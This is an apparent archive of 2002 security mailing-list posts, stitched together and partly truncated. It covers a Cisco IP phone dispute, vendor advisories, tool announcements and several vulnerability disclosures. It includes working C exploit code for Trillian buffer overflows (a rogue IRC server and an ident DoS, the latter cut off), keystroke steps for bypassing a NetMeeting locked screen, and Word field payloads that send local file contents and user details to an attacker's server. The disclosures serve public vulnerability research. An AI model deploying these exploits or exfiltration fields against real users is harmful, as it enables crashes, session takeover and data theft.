RE: The Trivial Cisco IP Phones Compromise
Dear all, It seems that dispite repeated efforts to educate Cisco about the dangers of unauthenticated adminstration mechanisms, they continue to tout their knee-jerk "firewall" response. As I will clearly demonstrate in my response, a firewall adds no security to a large scale deployment of Cisco IP Phones. I am dissapointed that my paper has not been understood by Cisco, but hope that their customers will understand -- unauthenticated administration mechanisms are inherently insecure. >>1. Access to the Cisco 7960 IP phone: >> >>A Cisco model 7960 IP phone running a SIP-compatible image has a >>password that can be set by the IP phone administrator. The default >>password is "cisco" if the password has not been set to some other >>value. Cisco strongly recommends setting the password to something >>other than the default. >> > > This is certainly a good step, however, the password is stored in plain text in an easily accessible location (on the TFTP server in SIPDefault.cnf). Any changed password can be readily retrieved, highlighting the fundemental problems with the security of the Cisco SIP-based IP Phone: unauthenticated administration mechanisms. >>The key sequence of "**#" is not intended as a password. It is >>clearly and publicly documented in many places within Cisco's product >>literature. The key sequence is solely intended to protect against >>casual or accidental changes to the phone's configuration. >> > > Something that I acknowledge in my paper. This is simply another example of how the administrative alterations to the IP Phone's settings can be made by anyone. "**#" is the local unauthenticated administrative mechanism, TFTP is the remote unauthenticated administrative mechanism. Neither provide any level of security at all. >>2. Abuse of the TFTP service: >> >>Although the author is correct that various attacks against the TFTP >>service can be mounted, there are several measures that can be >>employed by the IP phone administrator and the organization to >>mitigate the risk. >> > > This statement is incorrect. There is nothing that can be done to secure and protect a service that is fundementally insecure. The below knee-jerk suggestions, vis. a firewall, provide no security to the TFTP server; authentication cannot be duct-taped onto TFTP. >>If the network is firewalled properly so that the different network >>segments are compartmentalized as the Cisco SAFE white papers >>recommend, then the TFTP server will only respond to legitimate >>requests. > > This is a clear demonstration of the faulty logic at work with Cisco: applying band-aid solutions will fix a deeply flawed product. TFTP has no means of determining legitimate from illegitimate requests (i.e. no authentication). What Cisco has suggested as a remedy is a cobbling together of two technologies (VLANs and firewalls) neither of which address authentication. No amount of third party solutions will provide a secure means of authenticating TFTP requests. There is no means of properly firewalling a TFTP server. Firewalls prevent access to services or prevent access from certain IPs. TFTP is being offered as a service, so the only protection that the firewall can offer is based on IP addresses. Since TFTP uses the connectionless protocol UDP as a transport layer, TFTP requests can be trivially spoofed. A firewall can provide no security for TFTP. >>The TFTP server does not need >>to reside on the same network segment as the IP phone. If RFC 1918 >>addressing is employed for the IP phones and proper ingress/egress >>filtering is in place as recommended, then any such attack is highly >>unlikely to succeed from outside the enterprise VoIP network, even >>with the use of UDP. > > Ingress/egress filtering might go some way towards resolving the spoofing problem. I would point out however that no spoofing is required to comprimise the integrity of a Cisco compliant deployment enterprise VoIP network. There are deeper flaws with the Cisco solution. >>Access to the >>physical networks from within the enterprise may make it easier to >>succeed with the attack, but if the VLANs are properly protected > > Momentarily ignoring the fact that VLANs are networking solutions, not security solutions, I will explore the problems with Cisco's VLAN proposal. Based on the discussion of firewalling TFTP, we can assume that an attacker who can penetrate the voice data VLAN can impersonate any device on that VLAN. Essentially Cisco is suggesting that a legitimate TFTP request can be determined based on its presence on the voice data VLAN. Penetrating the VLAN is not a difficult task. There are numerous documents on this subject available on the Web. Cisco recommends that the IP Phone and a PC (or workstation) share a port on the switch. VLANs are then used to segment the traffic from either device. With the VLAN keys an attacker can inject frames into the voice data VLAN. The VLAN keys a
Re: The Art of Unspoofing
Euan said: > This is just simplistic, ill conceived rubbish. Don't tell us what you really think... > There is absolutely no way to guarantee that you are "tracking down" > the correct IP or the correct person. You're right. I should have put that in the disclaimer, but we thought that the average person would understand that from the start. > Is it safe to assume an attacker is going to use the generic public > smurf.c tool etc, is it safe to assume the attacker is going to use > traceroute or ping to test if the victim host is alive? Is it safe to > assume the attacker wont use blind spoofed IP ID techniques or > some other method to test if the victim host is alive? No. Is it safe to assume that every attacker has thought out the attack as much as you just have? I'm not sure what type of DoS attacks you've seen impact your network in your days... but from my experience, I can say that at least one of those assumptions has been present in 95% of the DoS attacks I have encountered, but that's just lil ol' me. > Whats to stop an attacker spoofing dns lookups and pings from > another host in order to incriminate it? Would your average ./attacker have thought to spoof the dns querys, or randomize the ttl before we wrote this paper? Nope, didn't think so... kthx. > What it comes down to is - it is easy for a semi-intelligent attacker > to cause a denial of service attack that is completely untraceable from > the target side, grasping at straws like this wont do much good atall > except waste a lot of your time. What it comes down to is - we realized that when we published this article that as soon as the information was known, that most if not all the techniques would be obsolete. Knowing this put me in a sticky situation about even disclosing it in the first place. In the end I decided to release it anyways, and I knew it's release would get a few well thought out posts like yours. Sean Trifero Security Technologies
SuSE Security Announcement: Slapper worm (SuSE-SA:2002:033)
In a typical case of Heisenmurphy, the PGP signature of the previous message got garbled, and I can't figure out why. Here's a re-send of the message, re-signed. I apologize for any confusion this may have caused. Olaf -BEGIN PGP SIGNED MESSAGE- __ SuSE Security Announcement Package:openssl/Slapper worm Announcement-ID:SuSE-SA:2002:033 Date: Thu Sep 19 2002 Affected products: 7.0, 7.1, 7.2, 7.3, 8.0 SuSE Linux Database Server, SuSE eMail Server III, SuSE eMail Server 3.1, SuSE Linux Enterprise Server, SuSE Linux Firewall on CD, SuSE Linux Enterprise Server 7 SuSE Linux Office Server Vulnerability Type: buffer overflow Severity (1-10):9 SuSE default package: yes Cross References: CVE CAN-2002-0655, CAN-2002-0656, CAN-2002-0659, SuSE-SA:2002:027 Content of this advisory: 1) vulnerabilities in openssl libraries; Slapper worm 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) __ 1) problem description, brief discussion, solution, upgrade information This advisory is issued in an attempt to clarify any issues surrounding the recently discovered Apache/mod_ssl worm. On July 30, we released a security advisory concerning vulnerabilities in OpenSSL, including a buffer overflow in the SSL code. This vulnerability (CVE CAN-2002-0656, also discussed in CERT Advisory http://www.cert.org/advisories/CA-2002-23.html) is currently being exploited by a worm called Slapper, propagating through Apache's mod_ssl module. It is worth noting that even though the worm infects Apache through mod_ssl, this is not a vulnerability in mod_ssl or Apache, but in the OpenSSL library used by mod_ssl. This also means that Apache may not be the only service vulnerable to an attack via the SSL bug. Similar exploits may be possible against cyrus-imapd, sendmail with TLS support, or sslwrap-enabled services. As a workaround, it is also possible to disable SSLv2 in mod_ssl (as described in our previous advisory SuSE-SA:2002:027; http://www.suse.com/de/security/2002_027_openssl.html), but you should be aware that this does not protect other SSL based servers that may be running on your machine. We have received numerous inquiries from SuSE users on whether the update packages provided by SuSE as part of SA:2002:027 fix this bug even though they do not contain the latest OpenSSL version recommended in various advisories. To clarify this, we would like to state that these packages DO FIX the bug exploited by the Slapper worm. Following established policy, we did this by applying a source code patch instead of upgrading to a newer version, because the latter usually causes serious problems for many users (in particular, different versions of OpenSSL libraries are not always API compatible). However, it turns out that a number of packages were statically linked against OpenSSL libraries: mod_ssl (SuSE Linux 7.0): We have released rebuilt mod_ssl packages linked against the most recent OpenSSL libraries. If you run mod_ssl on SuSE Linux 7.0, you must upgrade mod_ssl, too. sendmail-tls (SuSE Linux 7.1, 7.2, 7.3): Sendmail-tls, the SSL enabled version of sendmail, was linked statically against OpenSSL on SuSE 7.1, 7.2 and 7.3. The security impact of this problem is probably the same as with Apache and mod_ssl. We are releasing rebuilt packages linked against the most OpenSSL libraries. Sendmail-tls is not part of the default installation profile. If you are using sendmail-tls, we strongly recommend you upgrade to the latest packages provided on our FTP servers. openssh (SuSE Linux 7.1, 7.2 and 7.3): Ssh and sshd do not use any SSL functionality, and thus are not susceptible to the type of attack carried out by the Slapper worm. To date, we are not aware of any way to exploit them. We nevertheless recommend to upgrade to the latest versions provided on our FTP site. freeswan (SuSE Linux 7.1, 7.2): FreeSWAN includes a utility named fswcert for creating and manipulating X.509 certificates, which is also linked statically against libcrypto. To date, we are not aware of any way to explo
Re: The Trivial Cisco IP Phones Compromise
On Thu, 19 Sep 2002 16:32:43 -0400, you wrote: >1. Access to the Cisco 7960 IP phone: > >A Cisco model 7960 IP phone running a SIP-compatible image has a >password that can be set by the IP phone administrator. The default >password is "cisco" if the password has not been set to some other >value. Cisco strongly recommends setting the password to something >other than the default. There have been discussion going on (and off) about the danger of default passwords. How long does it take before so-called secure aware companies become really aware of security issues? >The key sequence of "**#" is not intended as a password. It is >clearly and publicly documented in many places within Cisco's >product literature. The key sequence is solely intended to protect >against casual or accidental changes to the phone's configuration. Then just don't accept is as a password. It's that simple, isn't it? >2. Abuse of the TFTP service: > >Although the author is correct that various attacks against the TFTP >service can be mounted, there are several measures that can be >employed by the IP phone administrator and the organization to >mitigate the risk. > >If the network is firewalled properly so that the different network >segments are compartmentalized as the Cisco SAFE white papers >recommend, then the TFTP server will only respond to legitimate >requests. The TFTP server does not need to reside on the same >network segment as the IP phone. If RFC 1918 addressing is employed >for the IP phones and proper ingress/egress filtering is in place as >recommended, then any such attack is highly unlikely to succeed from >outside the enterprise VoIP network, even with the use of UDP. >Access to the physical networks from within the enterprise may make >it easier to succeed with the attack, but if the VLANs are properly >protected and MAC addresses monitored per the SAFE documents -- for >example, by using arpwatch or arpsnmp -- then an attack may be >detected by the IP phone administrators. Not in all situations the IP phones are within one network. Sometimes the phones are used by home workers. And not all ADSL- and cable-companies allow IPsec over their network. At least not when you have a consumer version of the connection. If you want IPsec you have to buy the expensive business version for all the home workers.
Re: NetMeeting 3.01 Local RDS Session Hijacking
In-Reply-To: <[EMAIL PROTECTED]> To clarify the initial post and different key sequences: When the NetMeeting password protected screensaver is bypassed and control of the local system is taken, the local session hijacker gains the rights of the local logged in user. In most cases this is administrator as administrator rights are required to connect to a remote desktop session and a remote user often uses the same account locally. Additionally, any extra rights or remote administration connections currently associated with the local session such as NetWare connections or other client connections to applications such as IDS management systems would be transferred to the local console hijacker. The initial post stated that rights of the 'remote user' would be gained and that may have been an unclear statement. Note that in some cases the last couple steps might seem unecessary as control appears to be transferred to the local console. The steps are usually required to prevent an error appearing when launching a program indicating that the system is shutting down or to prevent the password protected screensaver from invoking itself. Also, too long a delay in the steps may allow the screensaver to lock the session. Keys by OS: (These steps will assume that an application has altered or new data such as text added to an unsaved notepad window for simplicity.) Windows XP Professional (1) CTRL-ALT-DEL (2) Shutdown (3) OK (4) ESC (5) Wait for the "End Program" dialog box to appear (6) Select Cancel (7) Cancel the save of changed data Windows 2000 Professional Spk3 (1) CTRL-ALT-DEL (2) Log Off (3) Yes (4) ESC (5) Wait for the "End Program" dialog box to appear (6) Select Cancel (7) Cancel the save of changed data (8) CTRL-ALT-DEL (9) ESC Windows NT 4.0 Spk6a (1) CTRL-ALT-DEL (2) Logout (3) OK (4) ESC (6) Select Cancel (7) Cancel the save of changed data (8) CTRL-ALT-DEL (9) ESC
ShadowCon 2002
Sharpen your information assurance awareness and skills and knowledge at NSWC Dahlgren's ShadowCon 2002. Thursday, October 17, 2002 NSWC Dahlgren, VA This annual conference and exposition is developed by the Information Systems Security Office at NSWC Dahlgren to provide informative presentations and access to information assurance exhibitors. Each year we coordinate an impressive list of highly skilled experts in the field of information assurance. The program is developed by the government and it is offered at no charge to all IT managers & personnel who are U.S. citizens and wish to broaden their horizons regarding the latest information assurance issues and solutions. Conference Topics will Include: a.. Network Security Monitoring b.. Securing Wireless Technology c.. Fighting Cybercrime Before it Happens d.. Risk Assessment KEYNOTE: Alan Paller, Director of Research, SANS Institute Additional presenters from Virginia Tech, SAIC, and Integrated Data Systems EXPOSITION: 30 Vendors will exhibit their solutions in an interactive environment LOCATION: Naval Surface Warfare Center Dahlgren JD's Training Center - Building 216 Dahlgren, VA 22448-5100 DATE: Thursday, October 17, 2002 TIME: 9:00 - 3:00 COST: No charge to attend REGISTRATION & INFORMATION: visit www.TechnologyForums.com/shadowcon.htm Note: We only have 200 seats available so act quickly to confirm your space and avoid the waitlist. If you have any questions please call Sharla Warren at 703-536-5372.
Yet Another. Trillian 'JOIN' Overflow.
Discovered:
---
02 September 2002 By Me, Lance Fitz-Herbert (aka phrizer).
Vulnerable Applications:
Tested On Trillian .73 and .74, But im guessing older versions are also
vulnerable, and possibly version 1.0 Pro.
Impact:
---
Low-High. This could possibly allow arbitary code to be executed on the
remote victims machine, or used as a DoS.
Details:
Trillian is a popular Instant Messageing client, which supports
icq/aim/yahoo/msn and IRC.
An overflow exists in the way Trillian procceses 'JOIN' commands from the
irc server. If Trillian joins a channel that is larger than 206 bytes,
trillian will crash and overwrite registers.
To exploit this, the victim needs to be connected to the attackers 'IRC
Server'
Solution:
-
Dont go on untrusted IRC Server :P
Exploit Code:
-
Prove of flaw, DoS Code:
/* Trillian-Join.c
Author: Lance Fitz-Herbert
Contact: IRC: Phrizer, DALnet - #KORP
ICQ: 23549284
Exploits the Trillian Join Flaw.
Tested On Version .74 and .73
Compiles with Borland 5.5 Commandline Tools.
This Example Will Just DoS The Trillian Client,
not particularly useful, just proves the flaw exists.
*/
#include
#include
#include
#include
SOCKET s;
#define MSG1 ":server 001 target :target\n:target!ident@address JOIN :"
int main() {
SOCKET TempSock = SOCKET_ERROR;
WSADATA WsaDat;
SOCKADDR_IN Sockaddr;
int nRet;
char payload[300];
printf("\nTrillian Join Flaw\n");
printf("--\n");
printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
printf("Tested On Version .74 and .73\nListening On Port 6667 For
Connections\n\n");
if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
printf("ERROR: WSA Initialization failed.");
return 0;
}
/* Create Socket */
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET) {
printf("ERROR: Could Not Create Socket. Exiting\n");
WSACleanup();
return 0;
}
Sockaddr.sin_port = htons(6667);
Sockaddr.sin_family = AF_INET;
Sockaddr.sin_addr.s_addr = INADDR_ANY;
nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
if (nRet == SOCKET_ERROR) {
printf("ERROR Binding Socket");
WSACleanup();
return 0;
}
/* Make Socket Listen */
if (listen(s, 10) == SOCKET_ERROR) {
printf("ERROR: Couldnt Make Listening Socket\n");
WSACleanup();
return 0;
}
while (TempSock == SOCKET_ERROR) {
TempSock = accept(s, NULL, NULL);
}
printf("Client Connected, Sending Payload\n");
send(TempSock,MSG1,strlen(MSG1),0);
memset(payload,'A',300);
send(TempSock,payload,strlen(payload),0);
send(TempSock,"\n",1,0);
printf("Exiting\n");
sleep(100);
WSACleanup();
return 0;
}
--end code--
NOTE: Because of the amount of spam i receive, i require all emails directed
*to me* to contain the word "nospam" in the subject line somewhere. Else i
might not get your email. thankyou.
_
MSN Photos is the easiest way to share and print your photos:
http://photos.msn.com/support/worldwide.aspx
Re: Microsoft Windows Terminal Services vulnerabilities
On Wed, 18 Sep 2002, Ben Cohen wrote: > I have just installed Windows XP Pro SP1 and found that the two > vulnerabilities announced earlier in the week have been addressed. Microsoft has now posted a security bulletin and standalone patch here: http://www.microsoft.com/technet/security/bulletin/MS02-051.asp > "Microsoft Windows XP Remote Desktop denial of service" is fixed. > > "Microsoft Windows Remote Desktop Protocol checksum and keystroke" is > partially fixed: > ...
ANNOUNCE: Egads 0.9.5
Secure Software Inc. would like to announce the release of EGADS 0.9.5. EGADS is a system service and library for providing secure random numbers. It contains an implementation of the Tiny pseudo-random number generator and the Tiny entropy gateway. Tiny is an evolution of Yarrow, and was designed by John Kelsey (an original designer of Yarrow) and John Viega. EGADS provides the same kind of functionality as /dev/random and /dev/urandom on Linux systems, but works on Windows, and as a portable Unix program. EGADS is available as a portable user-level daemon for Unix systems, and as a service for Windows 2000/XP machines. New in this version of EGADS: Support for an EGD-like interface Entropy API for getting raw entropy from the EGADS daemon Various PRNG bugfixes. To download EGADS, please visit http://www.securesw.com/egads
Re: Trillian .74 and below, ident flaw.
> Lance Fitz-Herbert ([EMAIL PROTECTED]) composed on Sep 18, 2002:
Hello Lance, out of bordem I wrote one that compiles on un*x
trillident.c is attached
netmask @ enZo
/* Trillian .74, .73 remote DoS.. Trillian Pro 1.0
*Exploits buffer overflow in ident when sending over
*418 bytes.
*
*Really only works if people are on IRC (otherwise, the ident
*daemon shuts down.. And you've got to know they are running
*Trillian, obviously.
*
*bug discovered by Lance Fitz-Herbert (aka phrizer) on 03 September 2002
*
*
* Compile With:
* Linux: gcc -o trillident trillident.c
* Solaris: gcc -o trillident trillident.c -lsocket -lnsl
* Windows: Use someone elses code.
ZZZ
Z:Z
Z:Z ooo
n:::nnnn Z:::ZZZ::Z oo:::oo
eee n::nn Z * Z::Z o:::o
ee:::eenn:::n 2 Z:Zo:::o
e:::een::n 0 Z:Z oo o::oo
e::e::ennnn0 Z:Z oo o::ooo
e:e e:ennnn 2 Z:Z ooo::o oo
e::e::ennnn * Z:Zoo::o oo
ee nnnn Z:Z o:::o
e:eee nnnnZZZ:Z Zo:::o
e::e nnnnZ:::::Z oo:::oo
e:::e nnnnZ:Z ooo
e:::eeZ:Z
ee::eZZZ
ee:e \... www.enz-o.org .../
ee
(The above is radical ascii art.. Respect it. The below is a lame DoS. )
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ERR -1
void usage(char* argv0);
int dostrill(char *ip, int port);
int main(int argc, char *argv[])
{
extern int optopt;
extern char *optarg;
int errorflag = 0; /* did someone screw up? */
int port = 113; /* default port to use unless -p */
int c;
if ((argc < 2) || (argc > 6))
usage(argv[0]);
while ((c=getopt(argc, argv, "vp:")) != EOF) {
switch(c) {
case 'p':
fprintf(stderr, "Using port %s\n", optarg);
port = strtol(optarg, NULL, 10);
break;
case 'v':
fprintf(stderr, "Trillian Ident DoS - [Sep 19, 2002]\n");
fprintf(stderr, "written by: netmask@enZo\n\n");
exit(0);
case ':':
fprintf(stderr, "Option -%c requires an operand\n", optopt);
errorflag++;
break;
case '?':
fprintf(stderr, "Unrecognized option: -%c\n", optopt);
errorflag++;
}
}
if (errorflag) {
usage(argv[0]);
}
/* kill them */
dostrill(argv[argc-1], port);
fprintf(stderr, "Finished!\n");
return 0;
} /* end main */
void usage(char* argv0)
{
fprintf(stderr, "Trillian Ident DoS - [Sep 19, 2002]\n");
fprintf(stderr, "Written by: netmask@enZo\n\n");
fprintf(stderr, "Usage: %s [options] IP\n\n", argv0);
fprintf(stderr,
"-p \tPort to use\n"
"-v \tPrint the program info\n");
exit(1);
}
int dostrill(char *ip, int port)
{
int s, r;
char buf[420]; /* buffer to send */
struct sockaddr_in addr;
struct hostent *hp;
memset((char *) &addr, '\0', sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_port = htons(port);
memset(buf, 'A', 420);
if ((hp = gethostbyname(ip)) != NULL) {
if (hp->h_length > sizeof(addr.sin_addr)) {
hp->h_length = sizeof(addr.sin_addr); }
memcpy((char *) &addr.sin_addr, hp->h_addr, hp->h_length);
}
else {
if ((addr.sin_addr.s_addr = inet_addr(ip)) < 0) {
return(0);
}
}
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == ERR) {
fprintf(stderr, "Couldn't Create Socket\n");
return 1;
}
ANNOUNCE: RATS 2.0
Secure Software Inc. would like to announce the release of RATS 2.0. RATS, the Rough Auditing Tool for Security, is a security auditing utility for C, C++, Python, Perl and PHP code. RATS scans source code, finding potentially dangerous function calls. The goal of this project is not to definitively find bugs. The current goal is to provide a reasonable starting point for performing manual security audits. RATS is released under version 2 of the GNU Public License (GPL). New in this version of RATS: RATS can now descend through directories recursively, analyzing any supported source code it finds. Ability to output results as HTML or XML. Result output can contain the line of code that caused each problem to be reported, along with the column number in the source file the problem was detected at. RATS will now report various statistics at the end of the reporting phase, including total time spend on the analysis, and number of source lines analyzed. Various database additions. A new database file, rats-openssl, which aids in analyzing any code that utilizes the OpenSSL C API. (Thanks to Ben Laurie for contributing this database) To download RATS, please visit http://www.securesw.com/rats/
[CLA-2002:525] Conectiva Linux Security Announcement - kdelibs
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- CONECTIVA LINUX SECURITY ANNOUNCEMENT - -- PACKAGE : kdelibs SUMMARY : Cross site scripting vulnerability DATE : 2002-09-20 12:10:00 ID: CLA-2002:525 RELEVANT RELEASES : 8 - - DESCRIPTION KDE[1] is a very popular graphical desktop environment available for GNU/Linux and other operating systems. A cross site scripting vulnerability[2] has been found in the Konqueror browser which also affects other programs that use the same rendering engine (KHTML). This vulnerability could allow an attacker to steal cookies and perform other types of cross site scripting attacks on applications which use the KHTML rendering engine, such as Konqueror. The KDE team released an advisory[3] and patches to address this vulnerability. SOLUTION All KDE users, or users of KDE applications which use the KHTML rendering engine, should upgrade their packages. Please note that is necessary to restart KDE (or its applications if another desktop is being used) to close this vulnerability. REFERENCES 1. http://www.kde.org 2. http://online.securityfocus.com/bid/5689 3. http://www.kde.org/info/security/advisory-20020908-2.txt DIRECT DOWNLOAD LINKS TO THE UPDATED PACKAGES ftp://atualizacoes.conectiva.com.br/8/SRPMS/kdelibs3-3.0.3-1U80_2cl.src.rpm ftp://atualizacoes.conectiva.com.br/8/RPMS/kdelibs-artsinterface-3.0.3-1U80_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/8/RPMS/kdelibs-config-3.0.3-1U80_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/8/RPMS/kdelibs-docbook-3.0.3-1U80_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/8/RPMS/kdelibs3-3.0.3-1U80_2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/8/RPMS/kdelibs3-devel-3.0.3-1U80_2cl.i386.rpm ADDITIONAL INSTRUCTIONS Users of Conectiva Linux version 6.0 or higher may use apt to perform upgrades of RPM packages: - add the following line to /etc/apt/sources.list if it is not there yet (you may also use linuxconf to do this): rpm [cncbr] ftp://atualizacoes.conectiva.com.br 6.0/conectiva updates (replace 6.0 with the correct version number if you are not running CL6.0) - run: apt-get update - after that, execute: apt-get upgrade Detailed instructions reagarding the use of apt and upgrade examples can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en - - All packages are signed with Conectiva's GPG key. The key and instructions on how to import it can be found at http://distro.conectiva.com.br/seguranca/chave/?idioma=en Instructions on how to check the signatures of the RPM packages can be found at http://distro.conectiva.com.br/seguranca/politica/?idioma=en - - All our advisories and generic update instructions can be viewed at http://distro.conectiva.com.br/atualizacoes/?idioma=en - - subscribe: [EMAIL PROTECTED] unsubscribe: [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9izr142jd0JmAcZARAgIFAJ97PWiNzsKkwTkXrnhNFupXsgywnACgsje8 CwQ4lnHKMMzxvFNQdM2l+gE= =BlMY -END PGP SIGNATURE-
Re: The Trivial Cisco IP Phones Compromise
-BEGIN PGP SIGNED MESSAGE- Ofir Arkin writes: > The referred paper lists several severe vulnerabilities with Cisco > systems' SIP-based IP Phone 7960 and its supporting environment. These > vulnerabilities lead to: complete control of a user's credentials; total > subversion of a user's settings for the IP Telephony network, and the > ability to subvert the entire IP Telephony environment. Malicious access > to a user's credentials could enable "Call Hijacking", "Registration > Hijacking", "Call Tracking", and other voice related attacks. The > vulnerabilities exist with any deployment scenario, but this paper deals > specifically with large scale deployments as recommended by Cisco. > > A PDF version of the paper is available from: > >http://www.sys-security.com/archive/papers/The_Trivial_Cisco_IP_Phones_Compromise.pdf This message contains Cisco responses to the issues described in the white paper referenced above. 1. Access to the Cisco 7960 IP phone: A Cisco model 7960 IP phone running a SIP-compatible image has a password that can be set by the IP phone administrator. The default password is "cisco" if the password has not been set to some other value. Cisco strongly recommends setting the password to something other than the default. The key sequence of "**#" is not intended as a password. It is clearly and publicly documented in many places within Cisco's product literature. The key sequence is solely intended to protect against casual or accidental changes to the phone's configuration. 2. Abuse of the TFTP service: Although the author is correct that various attacks against the TFTP service can be mounted, there are several measures that can be employed by the IP phone administrator and the organization to mitigate the risk. If the network is firewalled properly so that the different network segments are compartmentalized as the Cisco SAFE white papers recommend, then the TFTP server will only respond to legitimate requests. The TFTP server does not need to reside on the same network segment as the IP phone. If RFC 1918 addressing is employed for the IP phones and proper ingress/egress filtering is in place as recommended, then any such attack is highly unlikely to succeed from outside the enterprise VoIP network, even with the use of UDP. Access to the physical networks from within the enterprise may make it easier to succeed with the attack, but if the VLANs are properly protected and MAC addresses monitored per the SAFE documents -- for example, by using arpwatch or arpsnmp -- then an attack may be detected by the IP phone administrators. 3. Manual modification of the IP phone configuration: At some level, successful attacks would require such physical access to the local network segment or the IP phone that the attacker could simply use the IP phone itself to commit toll fraud and some of the other improper acts listed in the paper. Physical access to network hardware is a long-standing, well-known problem in the industry. This is an especially important consideration for IP phones located in public or semi-public areas such as building lobbies. The IP phone admistrator should use all available mechanisms to secure any IP phones that are exposed to unauthorized manipulation. As always, Cisco is interested in protecting our customers' networks and is continually striving to improve the security of our products. We appreciate the seventeen days of advance notice we received from the author and his willingness to discuss the issue with us. We are unaware of any confirmed incidents of malicious exploitation of the issues in the author's paper and ask that any such exploitation be reported to the Cisco PSIRT, [EMAIL PROTECTED], as soon as possible. == Jim Duncan, Product Security Incident Manager, Cisco Systems, Inc. http://www.cisco.com/warp/public/707/sec_incident_response.shtml E-mail: [EMAIL PROTECTED] Phone(Direct/FAX): +1 919 392 6209 -BEGIN PGP SIGNATURE- Version: PGP 6.5.2 iQB1AwUBPYoyi95wH2yjJs+JAQFDxAL8DkZSBdl1BRXgUfqqqw0E2E1eIyM/guy5 rdNeEZEBiq7lSbqRwW4c+whG+3TKRKo8aV9rX2JkTWkwJ6JHxWeOKY5xHh1eGeiK kuyGHbGy1Sp+5Jr9Vol0nqBk3igYFxhi =/Mz6 -END PGP SIGNATURE- == Jim Duncan, Product Security Incident Manager, Cisco Systems, Inc. http://www.cisco.com/warp/public/707/sec_incident_response.shtml E-mail: [EMAIL PROTECTED] Phone(Direct/FAX): +1 919 392 6209
CanSecWest/core03
CALL FOR PAPERS: CanSecWest/core03 The fourth annual CanSecWest computer security training conference is scheduled to be held April 16-18 2003 in Vancouver, British Columbia, Canada. Submissions and presentation proposals for tutorials for this conference will be accepted during the months of September and October 2002, with preference given to submissions made in September. The CanSecWest conferences consist of tutorials on advanced technical details about current issues, innovative techniques and best practices in the information security realm. The audiences are a multi-national mix of professionals involved on a daily basis with security work: security product vendors, programmers, security officers, and network administrators. We give preference to technical details and education for a technical audience. The conference itself is a single track series of presentations in a lecture theater environment. The presentations offer speakers the opportunity to showcase on-going research and collaborate with peers while educating and highlighting advancements in security products and techniques. The focus is on innovation, tutorials, and education instead of overt product pitches. Some commercial content is tolerated, but it needs to be backed up by a technical presenter - either giving a valuable tutorial and best practices instruction or detailing significant new technology in the products. Paper proposals should consist of the following information: 1) Presenter, and geographical location (country of origin/passport) and contact info (e-mail, postal address, phone, fax). 2) Employer and/or affiliations. 3) Brief biography, list of publications and papers. 4) Any significant presentation and educational experience/background. 5) Topic synopsis, Proposed paper title, and a one paragraph description. 6) Reason why this material is innovative or significant. 7) Optionally, any samples of prepared material or outlines ready. 8) Optionally, list any software, source code or new information scheduled to be released and available for publicaiton on the conference CD. Please forward the above information to [EMAIL PROTECTED] to be considered for placement on the speaker roster. Details of presentation logistics: Presenters do not have to submit full text of their materials, but do have to submit slides and any accompanying software/demo information at the deadline one month before the conference. Presentations are nominally one hour in length, and exceptions must be justified. (And this year this will be a very strict limit, and we will try to have few or no exceptions.) Internet access (wireless or other) and av projection is provided for live demonstrations. Vendor display or corporate sponsorship inquiries and requests for attendee or exhibitor information should be directed to [EMAIL PROTECTED] The conference site and registration system is at: http://cansecwest.com --dr pgpkey: http://dragos.com/dr-dursec.asc 0 = 1 , for large values of zero and small values of one.
More vulnerabilities (Re: Security side-effects of Word fields)
In-Reply-To: <[EMAIL PROTECTED]>
A lot of people have been complaining about the fact that Alice must coerce Bob into
editing and returning the bugged document. In this feature-driven market the cries of
the users have not fallen on deaf ears. There appears to be a way for Alice to steal
files from Bob (and a few other things) and all Bob has to do is open the Word
document that Alice has sent to him. He no longer needs to bother with editing, or
printing, or sending the document back to Alice.
Richard Edwards brought up the fact that the {INCLUDEPICTURE} field, unlike the
{INCLUDETEXT} field, accepts URLs and not just local file names. So, if Alice can get
the {INCLUDEPICTURE} field to update automatically every time the document is opened
(by using the \d switch, for example) it will trigger a message to be sent to a server
of her choice. So, what can Alice do with it? She could, for example, get the
absolute path of where Bob has saved the document as well as the contents of some
other file on Bob's computer:
{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & {
INCLUDETEXT "c:\\a.txt" } } \d }
She could also keep track of who is reading (or printing) the file she sent to Bob:
{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS
} } \d }
There are some limitations to what Alice can do with this. Word limits the HTTP URLs
to 256 characters ( I don't know what the limit for other URLs is). Also, the
{USERNAME} and {USERADDRESS} fields do not update automatically when a document is
opened on all versions of Word (but they do when the document is printed).
The proof-of-concept code above is just pseudocode. It does not include all the
triggers necessary for the fields to update automatically. I am sure that the reader
can easily combine this with my previous post to get things right. Testing out this
vulnerability is a little more difficult for individual users because it requires
access to a web server. So, if anyone out there wants to contribute a web site that
simply displays its own logs, I will contribute a Word file with a fully functioning
demonstration of the exploit that people can use to test this vulnerability.
I really don't have any time to spend on this at work, and I have already taken enough
time from my wife and kid for this. So, I am dropping this as it stands now. For
those interested in pursuing these issues further I have put together some exercises
for the reader:
1) Other exploits of fields
a) {INCLUDEPICTURE} accepts many different types of URLs. I've only tested HTTP
(and mailto to some extent). What happens when you use FTP, telnet, file, etc?
b) It appears that the {INCLUDEPICTURE} field creates only a one-way channel from
the victim to the attacker. Is it possible that some of the URLs will allow a 2-way
channel? If the field can ever evaluate to a text response (as opposed to the
picture), the response can be used as input to another field.
c) Are there other ways of triggering the automatic updating of fields?
